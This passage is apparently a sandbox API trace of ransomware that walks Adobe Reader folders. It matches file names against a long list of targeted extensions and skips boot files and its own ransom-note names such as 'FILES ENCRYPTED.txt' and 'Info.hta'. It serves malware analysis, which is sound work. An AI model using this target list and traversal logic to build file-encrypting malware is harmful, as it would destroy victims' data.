(lpString1=".backup", lpString2="ekit.js") returned -1 [0270.738] lstrlenW (lpString=".bak") returned 4 [0270.738] lstrcmpiW (lpString1=".bak", lpString2="t.js") returned -1 [0270.739] lstrlenW (lpString=".bay") returned 4 [0270.739] lstrcmpiW (lpString1=".bay", lpString2="t.js") returned -1 [0270.739] lstrlenW (lpString=".bd") returned 3 [0270.739] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0270.739] lstrlenW (lpString=".bin") returned 4 [0270.739] lstrcmpiW (lpString1=".bin", lpString2="t.js") returned -1 [0270.739] lstrlenW (lpString=".bmp") returned 4 [0270.739] lstrcmpiW (lpString1=".bmp", lpString2="t.js") returned -1 [0270.739] lstrlenW (lpString=".bz2") returned 4 [0270.739] lstrcmpiW (lpString1=".bz2", lpString2="t.js") returned -1 [0270.739] lstrlenW (lpString=".c") returned 2 [0270.739] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0270.739] lstrlenW (lpString=".cdr") returned 4 [0270.739] lstrcmpiW (lpString1=".cdr", lpString2="t.js") returned -1 [0270.739] lstrlenW (lpString=".cer") returned 4 [0270.739] lstrcmpiW (lpString1=".cer", lpString2="t.js") returned -1 [0270.740] lstrlenW (lpString=".cf") returned 3 [0270.740] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0270.740] lstrlenW (lpString=".cfc") returned 4 [0270.740] lstrcmpiW (lpString1=".cfc", lpString2="t.js") returned -1 [0270.740] lstrlenW (lpString=".cfm") returned 4 [0270.740] lstrcmpiW (lpString1=".cfm", lpString2="t.js") returned -1 [0270.740] lstrlenW (lpString=".cfml") returned 5 [0270.740] lstrcmpiW (lpString1=".cfml", lpString2="it.js") returned -1 [0270.740] lstrlenW (lpString=".cfu") returned 4 [0270.740] lstrcmpiW (lpString1=".cfu", lpString2="t.js") returned -1 [0270.740] lstrlenW (lpString=".chm") returned 4 [0270.740] lstrcmpiW (lpString1=".chm", lpString2="t.js") returned -1 [0270.740] lstrlenW (lpString=".cin") returned 4 [0270.740] lstrcmpiW (lpString1=".cin", lpString2="t.js") returned -1 [0270.740] lstrlenW (lpString=".class") returned 6 [0270.740] lstrcmpiW (lpString1=".class", lpString2="kit.js") returned -1 [0270.740] lstrlenW (lpString=".clx") returned 4 [0270.740] lstrcmpiW (lpString1=".clx", lpString2="t.js") returned -1 [0270.740] lstrlenW (lpString=".config") returned 7 [0270.740] lstrcmpiW (lpString1=".config", lpString2="ekit.js") returned -1 [0270.740] lstrlenW (lpString=".cpp") returned 4 [0270.740] lstrcmpiW (lpString1=".cpp", lpString2="t.js") returned -1 [0270.740] lstrlenW (lpString=".cr2") returned 4 [0270.741] lstrcmpiW (lpString1=".cr2", lpString2="t.js") returned -1 [0270.741] lstrlenW (lpString=".crt") returned 4 [0270.741] lstrcmpiW (lpString1=".crt", lpString2="t.js") returned -1 [0270.741] lstrlenW (lpString=".crw") returned 4 [0270.741] lstrcmpiW (lpString1=".crw", lpString2="t.js") returned -1 [0270.741] lstrlenW (lpString=".cs") returned 3 [0270.741] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0270.741] lstrlenW (lpString=".css") returned 4 [0270.741] lstrcmpiW (lpString1=".css", lpString2="t.js") returned -1 [0270.741] lstrlenW (lpString=".csv") returned 4 [0270.741] lstrcmpiW (lpString1=".csv", lpString2="t.js") returned -1 [0270.741] lstrlenW (lpString=".cub") returned 4 [0270.741] lstrcmpiW (lpString1=".cub", lpString2="t.js") returned -1 [0270.741] lstrlenW (lpString=".dae") returned 4 [0270.741] lstrcmpiW (lpString1=".dae", lpString2="t.js") returned -1 [0270.741] lstrlenW (lpString=".dat") returned 4 [0270.741] lstrcmpiW (lpString1=".dat", lpString2="t.js") returned -1 [0270.741] lstrlenW (lpString=".db") returned 3 [0270.741] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0270.741] lstrlenW (lpString=".dbf") returned 4 [0270.741] lstrcmpiW (lpString1=".dbf", lpString2="t.js") returned -1 [0270.741] lstrlenW (lpString=".dbx") returned 4 [0270.742] lstrcmpiW (lpString1=".dbx", lpString2="t.js") returned -1 [0270.742] lstrlenW (lpString=".dc3") returned 4 [0270.742] lstrcmpiW (lpString1=".dc3", lpString2="t.js") returned -1 [0270.742] lstrlenW (lpString=".dcm") returned 4 [0270.742] lstrcmpiW (lpString1=".dcm", lpString2="t.js") returned -1 [0270.742] lstrlenW (lpString=".dcr") returned 4 [0270.742] lstrcmpiW (lpString1=".dcr", lpString2="t.js") returned -1 [0270.742] lstrlenW (lpString=".der") returned 4 [0270.742] lstrcmpiW (lpString1=".der", lpString2="t.js") returned -1 [0270.742] lstrlenW (lpString=".dib") returned 4 [0270.742] lstrcmpiW (lpString1=".dib", lpString2="t.js") returned -1 [0270.742] lstrlenW (lpString=".dic") returned 4 [0270.742] lstrcmpiW (lpString1=".dic", lpString2="t.js") returned -1 [0270.742] lstrlenW (lpString=".dif") returned 4 [0270.742] lstrcmpiW (lpString1=".dif", lpString2="t.js") returned -1 [0270.742] lstrlenW (lpString=".divx") returned 5 [0270.742] lstrcmpiW (lpString1=".divx", lpString2="it.js") returned -1 [0270.742] lstrlenW (lpString=".djvu") returned 5 [0270.742] lstrcmpiW (lpString1=".djvu", lpString2="it.js") returned -1 [0270.742] lstrlenW (lpString=".dng") returned 4 [0270.742] lstrcmpiW (lpString1=".dng", lpString2="t.js") returned -1 [0270.742] lstrlenW (lpString=".doc") returned 4 [0270.742] lstrcmpiW (lpString1=".doc", lpString2="t.js") returned -1 [0270.743] lstrlenW (lpString=".docm") returned 5 [0270.743] lstrcmpiW (lpString1=".docm", lpString2="it.js") returned -1 [0270.743] lstrlenW (lpString=".docx") returned 5 [0270.743] lstrcmpiW (lpString1=".docx", lpString2="it.js") returned -1 [0270.743] lstrlenW (lpString=".dot") returned 4 [0270.743] lstrcmpiW (lpString1=".dot", lpString2="t.js") returned -1 [0270.743] lstrlenW (lpString=".dotm") returned 5 [0270.743] lstrcmpiW (lpString1=".dotm", lpString2="it.js") returned -1 [0270.743] lstrlenW (lpString=".dotx") returned 5 [0270.743] lstrcmpiW (lpString1=".dotx", lpString2="it.js") returned -1 [0270.743] lstrlenW (lpString=".dpx") returned 4 [0270.743] lstrcmpiW (lpString1=".dpx", lpString2="t.js") returned -1 [0270.743] lstrlenW (lpString=".dqy") returned 4 [0270.743] lstrcmpiW (lpString1=".dqy", lpString2="t.js") returned -1 [0270.743] lstrlenW (lpString=".dsn") returned 4 [0270.743] lstrcmpiW (lpString1=".dsn", lpString2="t.js") returned -1 [0270.743] lstrlenW (lpString=".dt") returned 3 [0270.743] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0270.743] lstrlenW (lpString=".dtd") returned 4 [0270.743] lstrcmpiW (lpString1=".dtd", lpString2="t.js") returned -1 [0270.744] lstrlenW (lpString=".dwg") returned 4 [0270.744] lstrcmpiW (lpString1=".dwg", lpString2="t.js") returned -1 [0270.744] lstrlenW (lpString=".dwt") returned 4 [0270.744] lstrcmpiW (lpString1=".dwt", lpString2="t.js") returned -1 [0270.744] lstrlenW (lpString=".dx") returned 3 [0270.744] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0270.744] lstrlenW (lpString=".dxf") returned 4 [0270.744] lstrcmpiW (lpString1=".dxf", lpString2="t.js") returned -1 [0270.744] lstrlenW (lpString=".edml") returned 5 [0270.744] lstrcmpiW (lpString1=".edml", lpString2="it.js") returned -1 [0270.744] lstrlenW (lpString=".efd") returned 4 [0270.744] lstrcmpiW (lpString1=".efd", lpString2="t.js") returned -1 [0270.744] lstrlenW (lpString=".elf") returned 4 [0270.744] lstrcmpiW (lpString1=".elf", lpString2="t.js") returned -1 [0270.744] lstrlenW (lpString=".emf") returned 4 [0270.744] lstrcmpiW (lpString1=".emf", lpString2="t.js") returned -1 [0270.744] lstrlenW (lpString=".emz") returned 4 [0270.744] lstrcmpiW (lpString1=".emz", lpString2="t.js") returned -1 [0270.744] lstrlenW (lpString=".epf") returned 4 [0270.745] lstrcmpiW (lpString1=".epf", lpString2="t.js") returned -1 [0270.745] lstrlenW (lpString=".eps") returned 4 [0270.745] lstrcmpiW (lpString1=".eps", lpString2="t.js") returned -1 [0270.745] lstrlenW (lpString=".epsf") returned 5 [0270.745] lstrcmpiW (lpString1=".epsf", lpString2="it.js") returned -1 [0270.745] lstrlenW (lpString=".epsp") returned 5 [0270.745] lstrcmpiW (lpString1=".epsp", lpString2="it.js") returned -1 [0270.745] lstrlenW (lpString=".erf") returned 4 [0270.745] lstrcmpiW (lpString1=".erf", lpString2="t.js") returned -1 [0270.745] lstrlenW (lpString=".exr") returned 4 [0270.745] lstrcmpiW (lpString1=".exr", lpString2="t.js") returned -1 [0270.745] lstrlenW (lpString=".f4v") returned 4 [0270.745] lstrcmpiW (lpString1=".f4v", lpString2="t.js") returned -1 [0270.745] lstrlenW (lpString=".fido") returned 5 [0270.745] lstrcmpiW (lpString1=".fido", lpString2="it.js") returned -1 [0270.745] lstrlenW (lpString=".flm") returned 4 [0270.745] lstrcmpiW (lpString1=".flm", lpString2="t.js") returned -1 [0270.745] lstrlenW (lpString=".flv") returned 4 [0270.745] lstrcmpiW (lpString1=".flv", lpString2="t.js") returned -1 [0270.745] lstrlenW (lpString=".frm") returned 4 [0270.745] lstrcmpiW (lpString1=".frm", lpString2="t.js") returned -1 [0270.745] lstrlenW (lpString=".fxg") returned 4 [0270.745] lstrcmpiW (lpString1=".fxg", lpString2="t.js") returned -1 [0270.745] lstrlenW (lpString=".geo") returned 4 [0270.746] lstrcmpiW (lpString1=".geo", lpString2="t.js") returned -1 [0270.746] lstrlenW (lpString=".gif") returned 4 [0270.746] lstrcmpiW (lpString1=".gif", lpString2="t.js") returned -1 [0270.746] lstrlenW (lpString=".grs") returned 4 [0270.746] lstrcmpiW (lpString1=".grs", lpString2="t.js") returned -1 [0270.746] lstrlenW (lpString=".gz") returned 3 [0270.746] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0270.746] lstrlenW (lpString=".h") returned 2 [0270.746] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0270.746] lstrlenW (lpString=".hdr") returned 4 [0270.746] lstrcmpiW (lpString1=".hdr", lpString2="t.js") returned -1 [0270.746] lstrlenW (lpString=".hpp") returned 4 [0270.746] lstrcmpiW (lpString1=".hpp", lpString2="t.js") returned -1 [0270.746] lstrlenW (lpString=".hta") returned 4 [0270.746] lstrcmpiW (lpString1=".hta", lpString2="t.js") returned -1 [0270.746] lstrlenW (lpString=".htc") returned 4 [0270.746] lstrcmpiW (lpString1=".htc", lpString2="t.js") returned -1 [0270.746] lstrlenW (lpString=".htm") returned 4 [0270.746] lstrcmpiW (lpString1=".htm", lpString2="t.js") returned -1 [0270.746] lstrlenW (lpString=".html") returned 5 [0270.746] lstrcmpiW (lpString1=".html", lpString2="it.js") returned -1 [0270.746] lstrlenW (lpString=".icb") returned 4 [0270.746] lstrcmpiW (lpString1=".icb", lpString2="t.js") returned -1 [0270.747] lstrlenW (lpString=".ics") returned 4 [0270.747] lstrcmpiW (lpString1=".ics", lpString2="t.js") returned -1 [0270.747] lstrlenW (lpString=".iff") returned 4 [0270.747] lstrcmpiW (lpString1=".iff", lpString2="t.js") returned -1 [0270.747] lstrlenW (lpString=".inc") returned 4 [0270.747] lstrcmpiW (lpString1=".inc", lpString2="t.js") returned -1 [0270.747] lstrlenW (lpString=".indd") returned 5 [0270.747] lstrcmpiW (lpString1=".indd", lpString2="it.js") returned -1 [0270.747] lstrlenW (lpString=".ini") returned 4 [0270.747] lstrcmpiW (lpString1=".ini", lpString2="t.js") returned -1 [0270.747] lstrlenW (lpString=".iqy") returned 4 [0270.747] lstrcmpiW (lpString1=".iqy", lpString2="t.js") returned -1 [0270.747] lstrlenW (lpString=".j2c") returned 4 [0270.747] lstrcmpiW (lpString1=".j2c", lpString2="t.js") returned -1 [0270.747] lstrlenW (lpString=".j2k") returned 4 [0270.747] lstrcmpiW (lpString1=".j2k", lpString2="t.js") returned -1 [0270.747] lstrlenW (lpString=".java") returned 5 [0270.747] lstrcmpiW (lpString1=".java", lpString2="it.js") returned -1 [0270.747] lstrlenW (lpString=".jp2") returned 4 [0270.747] lstrcmpiW (lpString1=".jp2", lpString2="t.js") returned -1 [0270.747] lstrlenW (lpString=".jpc") returned 4 [0270.747] lstrcmpiW (lpString1=".jpc", lpString2="t.js") returned -1 [0270.747] lstrlenW (lpString=".jpe") returned 4 [0270.748] lstrcmpiW (lpString1=".jpe", lpString2="t.js") returned -1 [0270.748] lstrlenW (lpString=".jpeg") returned 5 [0270.748] lstrcmpiW (lpString1=".jpeg", lpString2="it.js") returned -1 [0270.748] lstrlenW (lpString=".jpf") returned 4 [0270.748] lstrcmpiW (lpString1=".jpf", lpString2="t.js") returned -1 [0270.748] lstrlenW (lpString=".jpg") returned 4 [0270.748] lstrcmpiW (lpString1=".jpg", lpString2="t.js") returned -1 [0270.748] lstrlenW (lpString=".jpx") returned 4 [0270.748] lstrcmpiW (lpString1=".jpx", lpString2="t.js") returned -1 [0270.748] lstrlenW (lpString=".js") returned 3 [0270.748] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0270.749] lstrlenW (lpString="load-typekit.js") returned 15 [0270.749] lstrlenW (lpString=".love$") returned 6 [0270.749] lstrcmpiW (lpString1=".love$", lpString2="kit.js") returned -1 [0270.749] lstrlenW (lpString="load-typekit.js") returned 15 [0270.749] lstrcmpiW (lpString1="boot.ini", lpString2="load-typekit.js") returned -1 [0270.749] lstrcmpiW (lpString1="bootfont.bin", lpString2="load-typekit.js") returned -1 [0270.749] lstrcmpiW (lpString1="ntldr", lpString2="load-typekit.js") returned 1 [0270.749] lstrcmpiW (lpString1="ntdetect.com", lpString2="load-typekit.js") returned 1 [0270.749] lstrcmpiW (lpString1="io.sys", lpString2="load-typekit.js") returned -1 [0270.749] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="load-typekit.js") returned -1 [0270.749] lstrcmpiW (lpString1="Info.hta", lpString2="load-typekit.js") returned -1 [0270.749] lstrcmpiW (lpString1="finbbp.exe", lpString2="load-typekit.js") returned -1 [0270.749] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\load-typekit.js") returned 107 [0270.750] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="load-typekit.js", cAlternateFileName="LOAD-T~1.JS")) returned 0 [0270.750] FindClose (in: hFindFile=0x3315a70 | out: hFindFile=0x3315a70) returned 1 [0270.750] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0270.750] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0270.750] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins") returned 94 [0270.750] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins") returned 1 [0270.750] lstrlenW (lpString="plugins") returned 7 [0270.750] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="plugins") returned -1 [0270.750] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42c0fd8 [0270.750] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins") returned 94 [0270.750] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\*", lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315870 [0270.751] FindNextFileW (in: hFindFile=0x3315870, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0270.751] FindNextFileW (in: hFindFile=0x3315870, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="add-account", cAlternateFileName="ADD-AC~1")) returned 1 [0270.751] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account") returned 106 [0270.751] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account") returned 1 [0270.751] lstrlenW (lpString="add-account") returned 11 [0270.751] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="add-account") returned 1 [0270.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0270.751] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account") returned 106 [0270.751] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\*", lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315a70 [0270.752] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.752] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0270.752] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css") returned 110 [0270.752] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css") returned 1 [0270.752] lstrlenW (lpString="css") returned 3 [0270.752] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="css") returned -1 [0270.752] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0270.752] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css") returned 110 [0270.752] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\*", lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315c70 [0270.752] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0270.752] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x322, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0270.753] lstrlenW (lpString="main-selector.css") returned 17 [0270.753] lstrlenW (lpString=".1cd") returned 4 [0270.753] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0270.753] lstrlenW (lpString=".3ds") returned 4 [0270.753] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0270.753] lstrlenW (lpString=".3fr") returned 4 [0270.753] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0270.753] lstrlenW (lpString=".3g2") returned 4 [0270.753] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0270.753] lstrlenW (lpString=".3gp") returned 4 [0270.753] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0270.753] lstrlenW (lpString=".7z") returned 3 [0270.753] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0270.753] lstrlenW (lpString=".accda") returned 6 [0270.753] lstrcmpiW (lpString1=".accda", lpString2="or.css") returned -1 [0270.753] lstrlenW (lpString=".accdb") returned 6 [0270.753] lstrcmpiW (lpString1=".accdb", lpString2="or.css") returned -1 [0270.753] lstrlenW (lpString=".accdc") returned 6 [0270.753] lstrcmpiW (lpString1=".accdc", lpString2="or.css") returned -1 [0270.753] lstrlenW (lpString=".accde") returned 6 [0270.753] lstrcmpiW (lpString1=".accde", lpString2="or.css") returned -1 [0270.754] lstrlenW (lpString=".accdt") returned 6 [0270.754] lstrcmpiW (lpString1=".accdt", lpString2="or.css") returned -1 [0270.754] lstrlenW (lpString=".accdw") returned 6 [0270.754] lstrcmpiW (lpString1=".accdw", lpString2="or.css") returned -1 [0270.754] lstrlenW (lpString=".adb") returned 4 [0270.754] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0270.754] lstrlenW (lpString=".adp") returned 4 [0270.754] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0270.754] lstrlenW (lpString=".ai") returned 3 [0270.754] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0270.754] lstrlenW (lpString=".ai3") returned 4 [0270.754] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0270.754] lstrlenW (lpString=".ai4") returned 4 [0270.754] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0270.754] lstrlenW (lpString=".ai5") returned 4 [0270.754] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0270.754] lstrlenW (lpString=".ai6") returned 4 [0270.754] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0270.754] lstrlenW (lpString=".ai7") returned 4 [0270.755] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0270.755] lstrlenW (lpString=".ai8") returned 4 [0270.755] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0270.755] lstrlenW (lpString=".anim") returned 5 [0270.755] lstrcmpiW (lpString1=".anim", lpString2="r.css") returned -1 [0270.755] lstrlenW (lpString=".arw") returned 4 [0270.755] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0270.755] lstrlenW (lpString=".as") returned 3 [0270.755] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0270.755] lstrlenW (lpString=".asa") returned 4 [0270.755] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0270.755] lstrlenW (lpString=".asc") returned 4 [0270.755] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0270.755] lstrlenW (lpString=".ascx") returned 5 [0270.755] lstrcmpiW (lpString1=".ascx", lpString2="r.css") returned -1 [0270.755] lstrlenW (lpString=".asm") returned 4 [0270.755] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0270.755] lstrlenW (lpString=".asmx") returned 5 [0270.755] lstrcmpiW (lpString1=".asmx", lpString2="r.css") returned -1 [0270.755] lstrlenW (lpString=".asp") returned 4 [0270.755] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0270.755] lstrlenW (lpString=".aspx") returned 5 [0270.756] lstrcmpiW (lpString1=".aspx", lpString2="r.css") returned -1 [0270.756] lstrlenW (lpString=".asr") returned 4 [0270.756] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1 [0270.756] lstrlenW (lpString=".asx") returned 4 [0270.756] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0270.756] lstrlenW (lpString=".avi") returned 4 [0270.756] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0270.756] lstrlenW (lpString=".avs") returned 4 [0270.756] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0270.756] lstrlenW (lpString=".backup") returned 7 [0270.756] lstrcmpiW (lpString1=".backup", lpString2="tor.css") returned -1 [0270.756] lstrlenW (lpString=".bak") returned 4 [0270.756] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1 [0270.756] lstrlenW (lpString=".bay") returned 4 [0270.756] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1 [0270.756] lstrlenW (lpString=".bd") returned 3 [0270.756] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1 [0270.756] lstrlenW (lpString=".bin") returned 4 [0270.756] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1 [0270.757] lstrlenW (lpString=".bmp") returned 4 [0270.757] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1 [0270.757] lstrlenW (lpString=".bz2") returned 4 [0270.757] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0270.757] lstrlenW 